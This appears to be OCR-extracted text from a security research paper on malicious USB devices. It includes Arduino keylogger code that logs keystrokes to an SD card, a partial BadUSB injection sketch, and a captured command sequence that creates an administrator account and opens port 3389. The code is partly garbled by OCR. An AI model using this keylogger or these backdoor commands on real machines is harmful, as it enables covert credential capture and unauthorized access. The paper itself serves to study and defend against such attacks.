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Abstract; In the field of network and information security ,computer USB interface security has been facing serious risks and challenges,
but also the most easily ignored by users, while malicious USB device is one of the main threats to computer USB interface security,
which seriously threatens the enterprise information security and citizen privacy information security. We analyze the present situation of
USB security problems, introduce the harm and attack characteristics of common malicious USB devices Keylogger and BadUSB, and
analyze Keylogger, BadUSB hardware circuit principle , hardware program implementation, and attack methods in detail. The Keylogger,
BadUSB devices are constructed by AVR microchip, by which the attack experiments are carried out on the computer. Finally, the
recording and control of the target host are realized ,and the security protection measures of intercepting Keylogger record listening and re-
sisting BadUSB attack are studied to provide users with effective security protection solutions. These protection measures and solutions
can effectively protect public information security and personal information security ,and can curb the occurrence of information security
events in the USB interface field.
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1 #include <PS2Keyboard.h>

2 #include <SD.h>

3 const int data_pin = 2;//REAIEIRLDATA

4 const int IRQpin = 3;//8EHICLKE

5 const int chipSelect = 10;//#ECSE M N10

6 File file;

7 PS2Keyboard keyboard;

8 void setup(){

9 Serial.begin(9600);//¥tEILEIEE

10 pinMode(10, OUTPUT); //BECSERNEHRE

11 while(!sD.begin(chipSelect)); //cSE5sDFiffE

12 keyboard.begin(data_pin, IRQpin);//B&EHMH

13}

14 void loop(){

15 if(keyboard.available()){//REREAH
char ¢ = keyboard.read();//EBURAEIZFR
while(!(file = SD.open("new.txt", FILE_WRITE)));//HTFFsDF, #AATEHR
file.print(c);//HRERRFEFEDF
file.close();//KAXHEIERDIR

}
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#include "Keyboard.h™
void typeKey(uints8 t key)
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2
3
4 Keyboard.press(key);
5 delay(5@);
6 Keyboard.release(key);
8 void setup()

9 {
10 Keyboard.begin();
11 delay(500);//FERT

12 delay(3eee);
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E¥ Administrator: Command Prompt

Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>net user test 1234 /add
The command completed successfully.

C:\Windows\system32>net localgroup administrators test /add
The command completed successfully.

C:\Windows\system32>netsh firewall set portopening tcp 3389 enable

IMPORTANT: “netsh firewall” is deprecated;

use “netsh advfirewall firewall” instead.

For more information on using “netsh advfirewall firewall” commands
instead of “netsh firewall”, see KB article 947709

at http://go.microsoft. com/fwlink/?1inkid=121488 .
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